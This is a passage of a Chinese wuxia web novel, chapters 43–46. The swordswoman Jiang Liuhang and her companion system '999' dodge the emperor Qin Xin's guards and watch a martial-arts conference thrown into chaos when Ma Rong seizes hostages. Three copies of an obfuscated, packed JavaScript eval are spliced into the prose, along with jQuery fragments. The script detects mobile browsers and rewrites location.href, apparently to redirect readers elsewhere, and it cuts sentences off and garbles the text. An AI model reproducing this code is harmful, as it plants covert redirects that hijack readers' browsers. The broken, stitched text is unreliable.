能带着这些孩子们出来的,身份必然非同小可。到了地方,自有当地官府接待安置,怎么可能让他们住在这样一座明显是临时租用的民宅里?即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840628|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便这是那人安排的住处,也不可能只派一个厨娘,护卫、仆从、管事……照顾生活起居、保障安全的人手都应安排上。 答案很明显。 这群胆大包天的少年,八成是瞒着家里大人,偷偷从京城溜出来的。 至于原因? 今天跟在他们身后,专往人堆里凑,听到了许多。 六天之后,和州府城里举行武林大会,推选新的盟主。 姜六航心里清楚,这帮孩子,就是冲着这个来的。 —— 就在姜六航为少年们的胆大包天而头疼时,太守府书房内,气氛凝重。 洛太守屏气凝息,双手捧着几张无纹素张,恭敬地呈给坐于上首的秦信:“皇上,这是昨夜出现在臣案头的。” 秦信接过,目光甫一触及纸上那歪歪扭扭的字迹,眉头便习惯性地皱起。 太丑。 简直像是用脚爪子爬出来的。 他看了多次,还是没看习惯,倒是形成了条件反射,见到这字就要皱眉。 深吸一口气,他沉下心,仔细地去看纸上内容。 纸上从右至左共八列,依次是:姓名、性别、年龄、身份。 第一列赫然写着马荣,化名赵宇。 其余都是斩月楼余孽。 这样的纸,共有五张,第五张上只有四人信息。 秦信一页页看完,把纸张随手放到桌上。 自兴元元年四月起,各地官员案头便不时出现这种神秘信报,每每趁着夜色送到官员案头。 独一无二的字迹,昭示着出自同一人之手。 此人神出鬼没,数年来无人得见其真容。然而,纸上信息经过反复核查,无一例外,确凿无疑。 可惜的是,信报只给出目标人物的大致活动范围,却无确切地址。范围太大,搜捕起来耗时耗力,常因目标闻风而逃或早已离开而错失良机。 但即便如此,这些年依靠此人的情报,朝廷拔除了无数潜藏的毒瘤,斩断了诸多暗中的黑手。 此人还曾给出两份巨大价值的密报:宣德帝三子化名李复藏身兰州,滁州山中藏有李义五万私兵。 此人给出的所有情报中,关于斩月楼余孽的信息最多。这群丧家之犬在朝廷持续不断的搜捕下,东躲西藏,惶惶不可终日,覆灭只在旦夕之间。 前段时间,收到马荣潜藏于和州某县的消息后,他便调遣了锦衣卫最精锐的好手,如影随形咬住马荣的踪迹,同时布下天罗地网,只留下通往府城的“生路”。 马荣果然如他所料,被一步步逼入了府城。 该收网了。 秦信抬眼,凤眸中一片凛冽,对洛太守道:“即刻起,府城方圆百里各大小路口、水道关隘,增派军士严密把守,宽进严出。凡出境之人,无论身份,必须严加盘查,不可疏漏一人!” 他要把马荣困死在府城。 他要亲手斩下马荣的人头。 洛太守触到他眼里的森然杀意,浑身一凛,连忙应道:“是。”赶紧告退出去布置。 出得门来,他抬起袖子擦了擦额角的冷汗。 皇上对此次围剿马荣异常重视,竟秘密离京,亲临和州坐镇指挥。 昨天他一直提心吊胆等着,谁知皇上入城后,却先拿着他的名帖去了善庆寺——传闻皇上沉迷于佛理道法,果真不假。 洛太守刚离开,一名御林军进入书房,低声禀报:“皇上,在善庆寺发现了姜丞相、应将军等人子女的踪迹。” 秦信略一思索,就知这些小辈是瞒着家中长辈来和州看热闹,他抚着匕首柄上的纹路,沉吟片刻,道:“派几个得力的人,暗中跟着他们,确保安全。” 这些小辈出来历练一下也好。六航当年参军时,才十五岁。 秦信指尖在匕首柄上轻轻一敲,补充道:“做得干净些,莫让他们察觉。” 若让他们知道有暗卫护航,心中有了倚仗,这历练便要大打折扣了。 43. 第 43 章 夜幕降临,一弯残月散出朦胧的光芒,勉强勾勒出院墙的轮廓。 姜六航绕着院墙潜行。 傍晚时扫描,除了少年们,只有一个厨娘。但……是不是带着少年们来的那人,还没来得及给他们安排护卫、杂役等?还要再确定一下。 “三九,扫描。”姜六航吩咐。 “好!”999回道。 上次升级之后,999的个体扫描范围已从二十步内扩展到方圆百里,但这样大规模的扫描需要足够能量,而三年前999给她修复身体,几乎耗尽能量,只留下完成任务的基本额度。 目前已经用了八十三次。 最后一次,必须留到京城。 好在999升级后,功能变强,一百步内的目标身份信息,几乎无需额外耗费能量。 一般情况下,够用了。 屏幕闪现,姜六航正要看结果,突然一股强烈的危机感袭来。她猛地抬头,目光射向院墙边那棵老杨树。 “簌簌!” 枝叶狂乱摇摆的声响中,一道黑影裹挟着凛冽杀意,自树冠深处破空扑下。暗淡月色下,一道剑光撕裂夜色,直取她咽喉。 “铛!”姜六航抽剑出鞘,挡住袭来的剑。 “嘶!”身后的利器破空声其实很微弱,可在历经无数生死磨砺的姜六航耳中,却被无限放大,带着阴冷的死气,直刺背心。 姜六航手腕发力猛推,正面的袭击者被她的力道震得后退两步。与此同时,她身体向右一侧,险之又险地避过背后袭来的剑尖,而后足尖在地面一点,整个人向旁边腾挪开去。 目光趁机扫向屏幕。 上面显示:八个少年,一个厨娘,五个御林军军士。 御林军! 姜六航心下大震,来不及多想,就在这片刻间,两名袭击者一左一右,又同时出剑,向她刺来。 “什么人!” “站住!” 院墙上人影晃动,少年们的喝问声接连响起。五六道身影从墙头跃下,提着兵刃朝这边冲来。 姜六航手中攻势猛涨,逼退两人,向远处跑去。眼角一瞥间,她见到那两个和她交手的御林军军士也往另一边跑了,竟然也是在躲避少年们,不欲和他们碰面的样子。 风声在耳边呼啸,姜六航抿紧了唇。 她没想到,会在这里遇见御林军。 大哥,来了和州吗? 当代御林军由铁骨军中身经百战的佼佼者组成,他们的职责是护卫皇帝安全,皇帝在哪里,他们就在哪里。 御林军现面,几乎可以确定,大哥此刻,就在这里。 轰! 眼前仿佛又重现房屋倒塌时的情景。 隔着烟与火,那双瞪大的、惊骇欲绝的红色的眸。 黑暗中,那声破碎的呜咽。 齐齐涌现。 心蓦地纠成一团,一直被刻意忽略、压制的思念涌上来,如同决堤的洪水,汹涌地冲垮堤防。 大哥! 是大哥来了! 迫切的冲动涌动。 见他! 再见大哥一面! 脚下方向猛地一转,她朝着太守府疾驰而去。 太守是和州的最大长官,大哥如果秘密驾临,第一个知会的应该就是他。 街上时有巡逻的兵士经过,但对姜六航完全够不上威胁,她轻松地躲开,快速奔向太守府。 要到了。 再转过这堵墙,就能看到太守府。 再走一百步,就能到太守府大门。 姜六航却陡然停下脚步。 她怎么昏头了呢? 如果大哥真在府内,周围必然布下了严密防线。房顶、树上、暗影处,不知有多少双眼睛盯着。即便是她,也不可能悄无声息地潜入。恐怕尚未靠近,就已被无数强弩锁定。 “三九,扫描。”姜六航强迫自己冷静下来。 这个距离扫不到府内,但足以覆盖门前一百步的范围。 “好!”999应道。 声音落下的同一刻,浅蓝屏幕出现,表格中列出各人的信息。 夜色中,短短一百步,藏着二十个御林军军士。 如此严密的布置,十步一岗,五步一哨……大哥,是真的来了。 姜六航的手撑住墙壁,指尖发白,怔怔地望着那片被高墙隔绝的区域。 大哥,就在那里面。 咫尺天涯。 一队巡逻兵士举着火把转过街角,摇曳的光影蔓延,顺着墙壁爬过来,即将到达她站立之处。 姜六航眼神一凛,猛地回过神,目光扫过四周,迅速择定了藏身之处。她一个纵身,飞跃上旁边的一座屋顶,伏在屋脊之后。 她将身体融入屋脊落下的阴影里。 —— 第一抹晨光照过来时,姜六航醒了。 瞅准一个下面无人的机会,她跳下屋顶,拍去身上灰尘,走上街头。 街上行人渐多,最显眼的是一群群背着同款书囊的学子。年龄从垂髫稚子到弱冠青年不等,有男有女,都身着蓝底红纹的统一服饰。 昨天随少年们闲逛时,她便见过这装束,知道这些人是府城最大的学府——松涛文馆的学生。 松涛文馆的馆长是傅大儒,他提倡学生步行上下学以锻炼身体,因此无论出身贵贱,学生们都老老实实地走路。 跟着学生们,姜六航转了个弯,光明正大地走到太守府对面的一家食肆,叫了一碗面,几个小菜。 把帏帽的帘幕向上卷起半寸,堪堪露出嘴唇与下颌,拿起竹箸,姜六航一边吃着,一边留意太守府门口。 她看见了几个熟面孔。 领着兵士在府邸附近巡视的,是大哥的一个近卫。 街角推着独轮车,吆喝着卖炊饼的憨厚汉子;挑着担子,沿街叫卖“豆腐——嫩豆腐嘞——”的精瘦小贩;臂弯挎着竹篮,兜售针头线脑的妇人,都是铁骨军原侦察部的成员。 还有旁边桌子那位呼噜噜喝着清汤,大口啃着肉包子的中年汉子,是铁骨军中一个拳脚功夫很好的军士。 姜六航心不在焉,东西吃到嘴里都不知是何滋味。 “航航,反派出来了。”999忽然出声。 姜六航心头一紧,注目看去。 先是一只脚迈过门槛,黑色牛皮长靴,紧紧裹着小腿,衬出修长笔直的腿部轮廓。然后,整个身子显现出来。 玄色烫金碎纹外衫,腰间束着一圈深棕色蹀躞,其上悬挂一把匕首,除此之外,再无任何时下权贵喜爱的玉佩、香囊等饰物。 腕间绕着一串幽黑佛珠,苍白得近乎透明的手指,正缓缓地一粒粒转过珠子。 姜六航目光上抬,却被一顶帏帽挡住视线。 正怔愣间,听见999叫:“航航!反派要看过来了!”她赶紧收回视线。 秦信踏出府门的刹那,立刻察觉有目光落在他身上,打量的,端详的,从脚到头,一处都没漏过。他手指顿住,往目光来处看去,只见到几桌食客。 食客多是松涛文馆的学生,青春洋溢。还有几个风尘仆仆的江湖客打扮之人。其中一个头戴帷帽的女子,正低着头,夹着面条吃。 “主子,可有异常?”冯简见他停下脚步,立刻上前一步,低声询问,目光也随之警惕地扫向食肆。 指尖传来佛珠冰凉坚硬的触感,秦信下意识地捏紧。 那目光,本该让他升起警惕与厌恶。可直到此刻,他心中都没升起那样的情绪。 反常,意味着危险。 他目光锁定那女子。 刚刚看他的,是她吗? 身形和打扮,有些像昨天善庆寺卖艺的女子。耳边似乎又隐约回荡起那略带沙哑的,把他从过去拉回的声音。 女子目不斜视,专心致志地一口一口吃着面条。帏帽遮住了她的脸,只能看见一张一阖的红唇和一段光洁的下巴。 不知为何,女子进食时那种细微的动作节奏,让他心头莫名地掠过一丝熟悉感,想要去抓住时,却转瞬消逝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843943|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦信目中幽沉,问道:“昨晚和御林军交手的,是个女子?戴帏帽,使剑?武功不错,能在两人围攻之下轻易脱身?” 冯简顺着他的视线望向女子,回道:“正是。他们没过几招,看不出那女子的剑法来历,但可以确定,她的剑术造诣极高,和两人对战,游刃有余。” “派人探一下她的武功底子。”秦信抬臂示意。 腕间佛珠随着动作轻轻一晃,两粒珠子相碰,发出极轻微的一声“嗒”。姜六航却听得清楚,含着半截面条顿了一下。 冯简躬身领命。 秦信不再停留,举步向前行去,冯简紧随其后。 两人身影很快消失在府门前的大道拐角。 姜六航几口将剩余的面汤喝完,留下几枚铜钱,起身离开食肆。 她沉默地沿着青石板铺就的街道前行,垂在身侧的手紧握成拳。 “航航,你不高兴?”999小心翼翼地问。 姜六航抿着唇,许久,才在心底艰难地回道:“大哥……他不对劲。” “哪里不对劲?”999追问。 姜六航张了张嘴,却发现难以准确描述。 那是一种微妙的感觉。 大哥站在那里,苍白手指缓慢捻动佛珠,从那姿势,从那动作,她莫名就感觉到大哥周身弥漫的冷漠和死寂。 她温润如玉、如山岳般可靠的大哥,怎会变成……这般模样? 难得见宿主被堵得不出声,999憋了一晚上的话终于忍不住冲口而出:“航航,依统看,你才不对劲!” 姜六航:“?” 999竹筒倒豆子般说道:“你素来聪明,这次怎么像换了个人?反派是在这和州城长大的,见过他真容的人没有一千也有八百。他既是秘密离京,必然要身份遮掩,化名遮面是基本操作。你昨夜跑来之前,难道就没想过这点?就没料到可能会白跑一趟,根本见不到他的脸?” 姜六航愣住。 她确实是刚才见到那顶帏帽,脑子里转了一下才反应过来。 “你以前多么冷静,多么心狠。” 姜六航:“……”这是夸奖吗? “为了天下大局,那把火放得多么干脆利落!往反派心上捅刀子之前,都没想着去见他最后一面,多么决绝。可这次呢?昨晚一想到反派可能在太守府,二话不说就跑过来,冲动得简直不像统认识的那个宿主了。” 姜六航垂眸。 她是担心。 这几年,大哥也不知怎么回事。都说大哥崇信方术,那是昏君才干的事儿。 999没自顾自接着道:“来了,见不着人,怎么不回去第二天再来?就在屋顶上睡了一夜。航航,你可知道,你这行为,让统想起什么吗?” 姜六航:“?” 999:“想起做了错事,站在楼下,在暴风雨中淋一夜,求心上人谅解的痴男怨女!” 姜六航本来满腹心事,听到这话“噗嗤”一声笑出来:“胡说八道!你又偷着看狗血小说了?那是我大哥!不是亲生,胜似亲生!” “那也不是亲生。”999嘀咕,“这几年,统越想越不对。那次你毒性发作,睡过去后,反派偷偷叫你‘六六’。航航,你是没看到当时的情景,叫就叫吧,他干嘛要凑那样近?嘴唇都要碰到你的头发了,只差一点点了!哪个哥哥会对妹妹做出那样的动作?你们可都不是小孩子了!” 姜六航脸上笑容滞住。 恰在此时,一个身影从她身侧匆匆经过,擦肩而过的瞬间,姜六航看清了那女子的脸。 眉毛细长,像两片柳叶,目光有神,一头青丝用黑绳挽起。 她认得这张脸。 是铁骨军侦察部的一个成员,尤擅…… 胸口传来极其轻微的触碰感,若不是姜六航感觉敏锐,根本察觉不到。她低头,怀中那个钱囊,已被女子的手指快如闪电地勾走。 女子转头就跑。 姜六航:“……” 她是追,还是不追? 44. 第 44 章 “呀!那是我们去京城的路费!”999声音瞬间拔高,“航航,你还愣着干嘛?快追呀!” “站住!”姜六航一声喊,拔腿紧追上去,跟着前方那抹身影跑进一条巷子。 巷子狭窄幽深,光线晦暗,姜六航脚步不停,眼观六路耳听八方。刚至转角,劲风骤起,两道剑光撕裂空气,一左一右,形成夹击之势,分别指向她的喉咙和心口。 “啊!”姜六航手忙脚乱地去拔腰间佩剑,脚下却不知被何物绊了一下,整个人失去平衡,一下跌倒在地。 999:“……” 剑尖毫不停滞,带着杀意再次逼近,姜六航狼狈地在地上打了个滚,险险避开。 999:“航航!你怎么回事?” 姜六航一个鲤鱼打挺跃起,终于拔出剑来。她身形倒是灵动,剑光舞得看似密不透风,实则章法全无,左支右绌,只堪堪挡了三招,便显出颓势,被逼得步步后退,呼吸也急促起来。好不容易觑准一个空档,她倾尽全力挥掌拍向一人肩头,那人闪身避让,手掌“砰”地一声拍在旁边的青砖墙上。墙身剧震,“哗啦”掉下几块碎砖,墙上留下一个浅浅的掌印。 “剑术稀疏平常,外家功夫倒是不错。”其中一个袭击的汉子略带惊讶地赞了一句。 “我与各位无冤无仇,为何下这般死手?”姜六航一边躲一边道,“若是求财,把那钱囊拿去就是。” 两个汉子不答,剑招越发狠辣刁钻,配合默契,很快将她逼到墙角死角。 两道剑光袭来,正对着致命之处。 姜六航瞳孔中映出急速而来的两点剑尖,眼睛瞪得极大,一眨不眨,手上用力,握紧剑柄。 倏地,剑尖在她身前寸许处硬生生顿住。 姜六航手微松,后背已沁出一层薄汗。剑再往前一毫,她就要忍不住出手了。 两个汉子互视一眼,一言不发地收剑入鞘,转身就走。先前那引姜六航进巷子的女子一直在旁边看着三人交战,此时也默不作声地跟着离去。 眼见三人离开,999痛心疾首:“我们的钱!” 姜六航也很肉疼。 那可是六两半雪花银。 眼看京城路费就差四五两了,这一下全没了。 正垂头丧气,一物破空而来,直袭面门。 姜六航眼尖,一下就瞧清楚了—— 是她的钱囊! 她眼疾手快地接住,抬头看时,那女子已走到巷口,回头朝她狡黠一笑,摆了摆手,身影消失在拐角。 钱财失而复得,一人一统欢天喜地。 高兴了一会,999想起来问:“航航,到底怎么回事?你为什么要演戏?” 姜六航:“他们是我大哥的人。” “啊?”999大惊,“坏了坏了!反派发现你是他义弟了?他会不会派人来抓你回去?” 抓? 姜六航无语。 系统的思维真是别出心裁。 大哥向来尊重她的想法,不强迫她做任何事,就算真发现是她,只要她编个理由,说暂时不便回去,大哥定会点头放行,又怎会抓她? “不会。”姜六航笃定地道,“想必是昨晚和锦衣卫交手,今天又恰好看见我,大哥心中生出几分怀疑。经过这次试探,疑心自然会消除。往后我注意些,不再跟他们碰面,就不会有任何问题。” 后面的几天,姜六航果然老老实实,不再朝太守府走半步。 她仍然每天去善庆寺表演。 善庆寺人流如织,生意不错。一天下来,扣除吃喝,姜六航基本能净赚一两多银子。 这几天,再没有牛老大之类的人来找她麻烦。 她听见人说。 “听说了吗?牛老大三个交了罚银,进去第二天就被放出来了!” “赚再多也罚没了,白忙活一场。都知道他们骗人了,以后再不能表演胸口碎大石,靠啥吃饭?” “咸吃萝卜淡操心!人家那身板,码头扛包都能活!” “扛什么包!你们还不知道?牛老大发了!我昨儿在街上撞见,他正张罗着买新宅子呢。” “他哪儿发的横财?除了在善庆寺表演,没见他干别的营生啊?” “我问他,他神神秘秘不肯说。” “我记得他半年前才在金鱼胡同买了三进的大宅子,这才多久?又要换?啧,是真阔了……” “……” 姜六航一门心思扑在赚钱大业上,对这些八卦左耳进右耳出。 武林大会的前一天,傍晚收工时,她的钱囊里已经装了十四两银子。把铁丝转卖出去,又得了十几文钱。 省着点用,这些钱到京城够了。 999高兴地问:“航航,我们明天去京城吗?” “不去。”姜六航把钱囊放到怀里,返回客栈,应道,“我们去看武林大会!” “啊?”999有些纠结。 统想看热闹,又怕夜长梦多生出意外。这可不是第一次绑定,这次如果宿主挂了,统也就彻底消亡了。 最后还是看热闹的心占了上风。 “好啊!”999回道,喃喃念着,像是在说服自己,“我们努力在前,只剩下京城最后一站。还有大几个月呢,完全不用着急。而且航航你武功盖世,天下无敌,没人伤得了你一根汗毛。你不死,统也就不会死。” —— 第二天清晨,姜六航早早赶到城南武林大会会场,满心期待。 那年她计划见识天下的闻名武者,结果只走了南方五州,还有很多武林大家未能与之切磋较量。 这回她不能和人交手,但过过眼瘾也好。 空旷的场地上已搭起高台,四周插满各色旌旗,在晨风中猎猎作响,空气中弥漫着兴奋的气息。 高台上,三四十位武者正陆续登台落座。他们都是当今武林的顶尖人物:名震八方的绝顶高手、执掌顶级武林世家的家主、各大帮派的领头人,还有几位在武林中素有声望的前辈耆宿。 另有两位朝廷派来的两个武将端坐一旁,他们负责监督武林大会的过程,不许肆意伤及人命。 次一级的武林人士在台下就坐。 至于那些排不上号的,如姜六航等人,只能站在后面。 不一会儿,场中已聚集六七百人,人头攒动,嗡嗡的议论声汇聚成一片嘈杂声浪,所有人的目光都聚焦在高台之上。 姜六航仗着目力超群,把台上众人的面目看得清清楚楚。 她的目光下意识地扫过台上某处。 四年未见,师父的面容更加沧桑,脸侧伤疤颜色愈深,眼眸深处满是阴霾。 心中泛上一丝苦涩,她移开视线。 “姑娘!姑娘!”耳边忽传来呼唤。 姜六航现今在世人眼中是死人一个,压根没觉得这声“姑娘”是在叫自己,直到对方提高音量道:“姑娘,你是不是在善庆寺走铁丝的那位?”她才讶然转头。 一群朝气蓬勃的少年站在不远处,腰佩刀剑,意气风发,正是应辉、姜持他们。 姜六航按了按帏帽:“啊,是你们。” 少年们对她颇有好感,笑着道:“好巧。姑娘也来看武林大会?” 姜六航点头:“是啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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999也“哦”了一声:“想起来了。航航你盗尸那次,谢执法头一个怀疑的就是他,说他的身形像,后来因为他有不在场证明,才排除掉。是不是?” 姜六航在脑子里回道:“没错。” 贾录说出那句话后,台上台下一时没人出声。 说到底,武林盟主首先要以武服众,贾录的要求合情合理,谁也不能说他说得不对。 一片静默中,贾录脸上傲色更浓,下巴微抬。 姜六航奇怪道:“怎么都不说话?难道这里没人打得过他?” 唐小豆语气无奈:“能和他打成平手的有些,但想要赢过他,不容易。” 姜六航恍然:“原来如此。” 贾录手腕一抖,长剑嗡鸣作响,寒光四射:“若是无人能胜我,那这盟主之位,我贾录也坐得!” “不行不行!”一个虬髯大汉连连摇头,声如洪钟。 “怎么不行?”贾录冷声问。 虬髯大汉朗声道:“之前以帮派势力选盟主不妥,你这单以武功来选盟主更是大大不妥。照你这法子,谁的武功最高谁当盟主,那我们还选什么新盟主?赤霄剑客,或是马荣,本来就是旧盟主,继续让他们来就是。其它且不论,在武功上,确实没人是他们的敌手。” 他对着贾录又补了一句,“我记得当年赤霄剑客初出世,一路挑战成名高手,第一个败在他剑下的,好像就是你逍遥剑吧。” 贾录脸色骤变,仿佛被人当众狠狠扇了一记耳光,握剑的手都微微颤抖起来。 台上还有一人脸色也变得异常难看—— 破山剑黄超。 他垂在身侧的手猛然握紧成拳,腮帮绷紧,现出牙关紧咬的痕迹,周身散发出一股骇人的气息。 姜六航的目光再次不受控制地飘了过去,见到他的表情,心中愈加苦涩。 师父,还是这样地恨着她,连她的名字都听不得。 45. 第 45 章 提起她,师父面色不好,固然是因为痛恨她这个徒弟,以她为耻,可还有一个原因——因为她,从庸叔叔和师父彻底反目。 三年前,她假死脱身,从云山出发,去完成人口普查的第二级任务。下山后不久,就听闻鬼手神医和破山剑闹翻了,割袍断义,再不往来。 江湖中到处都在议论。 “破山剑中了鬼手神医的奇毒,左手废了,正四处求医呢。” “鬼手神医放话,见破山剑一次,毒他一次。” “我怎么听说,是为了赤霄剑客?” “你没听错,确实是因为她。鬼手神医说,就是破山剑要废徒儿武功,才把人吓得不敢回家。” “就为这?鬼手神医也太不讲理了。” “他几时讲过理?赤霄剑客干出那等丑事,破山剑只废她武功,够仁至义尽了。换我,不但废武功,还要断她拿剑的手,让她一辈子记住这教训。” “说得对!” 只是,姜六航一直心有疑惑。 从庸叔叔的性子,有仇当场报,有怨立时发,绝不留隔夜。那次在梁州,她确实亲耳听见从庸叔叔埋怨师父,但既然那时只是口头发泄,怎又会在大半年后突然翻脸成仇? 台上台下一声声痛骂,像千万根毒针刺向姜六航,把她从记忆中拉回。“贪生怕死”、“跪地求饶的败类”、“丢尽江湖人的脸”……污言秽语汇成汹涌的潮水,几乎要将她淹没。仿佛人人都成了正义的化身,不骂几句不足以显示其正直侠义。 “武林盟主首重品行。赤霄剑客那般货色,武功再高也配不上这位置。”一个尖利的声音道。 “说得好!”一片轰然叫好声炸开,空气里弥漫着狂热的气息。 “正是,丢尽了我们江湖人的脸。” “我若有此徒,定要亲手杀了她。” “这回务必擦亮眼,切莫再选出一个赤霄剑客。” 姜六航帷帽下的唇角勾起一抹讽笑。 他们骂得如此投入,浑然忘了,最开始虬髯大汉提起的,除了她赤霄剑客,还有一个马荣。 马荣嗜杀成性,刀下不知有多少无辜亡魂。而她做了什么?不过是不愿枉死,在绝境里,咬碎了牙,咽下了血,选择了……活着。 然而人们不约而同地撇开马荣,将所有的鄙夷与怒火都对准她。 在他们的江湖信条里,马荣虽恶,却恶得坦荡,算条真汉子。而她,失了所谓的血性与骨气,却是比杀人放火更不可饶恕的罪孽。 热血的江湖,许多年轻人的向往之地。 可也容易让人迷失是非对错,被片面的观念左右,背离江湖本应有的侠义正道。 姜六航悄悄瞥向身边的一群半大孩子。 少年们脸上的鄙夷和不屑在她意料之中,让她意外的是,姜持面色平和,似乎对赤霄剑客并没有什么恶感。 “小妹妹,”姜六航不由得问,“你不觉得赤霄剑客可恨吗?” 小姑娘眨了眨眼,奇怪地反问:“她又没害人,我为何要恨她?”她顿了顿,声音低了些,“我有个姐姐,和赤霄剑客一样大,生下来就失散了。我娘常说,不管姐姐遇到怎样的情况,只要……活下来就好。赤霄剑客的爹娘也一定是这样想的。那些骂她的人,又不是她爹娘,凭什么替人家做主?” 活下来就好。 简简单单的几个字,猝不及防地烫上姜六航的心。 王院长……是这样说的吗? 一股热流猛地冲上眼眶,视线瞬间被水汽模糊。 除了从庸叔叔,她第二次听到人这样说。 从庸叔叔说:“只要她活着。” 王院长说:“活下来就好。” 在这世上,有这样两个人,给她毫无掩饰的偏爱,毫不犹豫的袒护。那偏爱和袒护像一层温暖的膜包裹着她,即使外面恶意如潮,毒舌如箭,也再伤不到她分毫。 “诸位!”一声暴喝响起。 姜六航心头一跳,循声望去。 黄超脸上铁青一片,眼中光亮闪烁,似愤恨,又似伤痛,目光扫过议论纷纷的人群,粗声道:“还选不选盟主了?净扯些不相干的作甚!” 议论声戛然而止。众人心知肚明,破山剑黄超是不愿听他们谈论他那劣徒。台上主事者交换了一个心照不宣的眼神,立刻有人干咳两声,将话题扯回到武林盟主选举的章程上。 姜六航百无聊赖地听他们商议,半天都没得出一个结果。 “别磨蹭了,先打啊!”少年们按捺不住,嚷了起来。 “就是!不管怎么选,总要比武。先打出个前十,边打边议不行吗?”有人大声提议。 这提议赢得一片附和。台上众人终于按下其它,转而商议比武方式。 对于武林人来说,比武是家常便饭,各种方法都现摆着。不过两刻钟,就公布了比武的方式。 采用擂台赛。 各项规则念了好一会。 姜六航只随便听听。反正她不能打,只能看。 少年们却听得很认真。 听完后热烈地讨论着何时上场,如何应对。 应辉在这群少年中年纪最大,也最沉稳,俨然是主心骨。他叮嘱同伴:“记住,安全第一,打不过立刻认输,不要逞强。规矩是说不许故意伤害人命,但刀剑无眼,上台前要签生死状的。都警醒点!” 众少年齐齐答应。 姜六航赞许地心想:“应匡将军打仗稳扎稳打,滴水不漏。这应辉,小小年纪已有乃父之风,有当大哥哥的模样,这些孩子也服他管束。” 万事俱备,只待开打。 就在这时,两名劲装汉子神色仓惶地奔来。 “让开!快让开!” 他们分开人群,直接奔上高台,手中各自捧着一个沉甸甸的木盒。 其中一人迅速打开木盖,掏出一沓信纸,分发给台上的一些掌门、名宿等。那些人只看一眼,脸色瞬间惨白如纸,手指颤抖。另一人掀开另一个木盖,里面赫然是各式贴身物件:玉佩、香囊、璎珞…… 台上顿时炸开了锅,惊呼、怒骂、悲泣交织成一片。 “马荣贼子!” “欺人太甚!” “我的儿啊!” “都在他手上…官府…撤兵…” “这可如何是好?” 姜六航等人隔得远,不知发生了何事,只听见闹嚷嚷中飘过来的只言片语。 唐小豆自告奋勇:“我去看看发生了何事。” 又有两个少年报名:“我也去!” 三人奋力往前面挤去,一会儿后又挤回来,额头上都沁出了汗珠,气喘吁吁地道:“ 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现下马荣手中攥着那么多人质,官府被死死捏住了命门,处处被动。三天之内,如何能找到马荣的藏身之处? 大哥此刻定然焦头烂额,左右为难吧? 撤兵? 纵虎归山,后患无穷。 不撤? 数十条人命,见死不救,道义、民心尽失。 大哥会如何抉择?会为救人命,暂时撤兵,放任马荣离开,日后再设法抓捕吗? 台上台下正乱成一锅粥,远处突然爆发出一阵更刺耳的骚动,有人跑着来报信。 “杀人了——!” “太守府门口,死人了!” “是马荣,马荣杀的。” “快去看啊。” 台上那些家属被掳的武者,再也顾不得什么武林大会、盟主之位,纷纷跳下高台,发足狂奔,直扑太守府方向。 其余人等也反应过来,浩浩荡荡冲向事发地。 姜六航的心直往下坠。 近七百名武林人士,其中不乏高手。若是爆发冲突,后果不堪设想。 她不再犹豫,也飞身跟了上去。 —— 一刻钟前,太守府门口。 两个穿着不起眼灰布短打的汉子,低着头,混在人群中,步履匆匆。行至府衙正门前的石阶下,两人脚步同时一顿,眼中射出凶光。 “啊!”其中一人猛地抬头,嘶声怪叫。 就在周围行人下意识循声望来的瞬间,两人同时将怀中厚厚一叠纸张狠狠抛向半空。 哗啦啦——! 纸片纷纷扬扬,行人争相拾取。 骚乱乍起! 就在此时,两个灰衣汉子肩膀一耸,将扛着的麻袋狠狠掼在青石地上。袋口绳索被利落扯开,两具僵硬蜷曲的尸身滚落出来。 “啊——!!!”人们惊骇大叫。 未等惊呼平息,两道寒光闪过。 “噗嗤!” 灰衣汉子反手把匕首捅入心窝,鲜血喷溅。两人瞪着眼,直挺挺倒在那两具尸身旁,当场气绝。 浓烈的血腥气弥漫开,长街之上,尖叫声、呕吐声、推搡声混杂成一片。 46. 第 46 章 姜六航随着人群赶到太守府时,只见府前空地早已被围得水泄不通,呼喊、哭嚎声混成一片,空气里弥漫着浓厚的躁动气息。 她跟着三个开路的少年,在攒动的人头中艰难穿行,终于挤到了人群前列。寒光闪烁的刀剑横在眼前,兵士们组成人墙,将来人隔绝在外。 墙内,是另一番炼狱景象。 上百人或站或跪,脸上满是悲愤,更有人嚎啕大哭,撕心裂肺的哭嚎刺得人耳膜生疼。 空地中央,两具尸首格外刺目:一具穿着松涛文馆的校服,另一具则是华贵的蓝色锦袍。几个人伏在尸身上哭得死去活来。 唐小豆朝旁边的人打听:“大叔,这到底怎么回事?” “唉!作孽!”男子一手摸着短须叹息,一手指着地上的尸体,“马荣杀的!杀了人,派手下把尸首扔到这儿示威,那两个手下转头就抹了脖子,刚被衙役拖进去。喏,那里面的人,都是家里有人被马荣掳走的。” “哦,对了,这儿有那两个手下扔出的纸,你们看看就知道了。”男子把几张写着字的纸递给少年。 少年们都围拢过去看,顺手给了姜六航一张。 姜六航接过,一目十行,很快看完。 信是以马荣的口吻写的,上面说,他抓了一些人,武林人士的家属,学院的学生,富商官眷,等等。要求官府三日内撤掉通往南海的所有岗哨,否则就杀掉所有抓到的人。 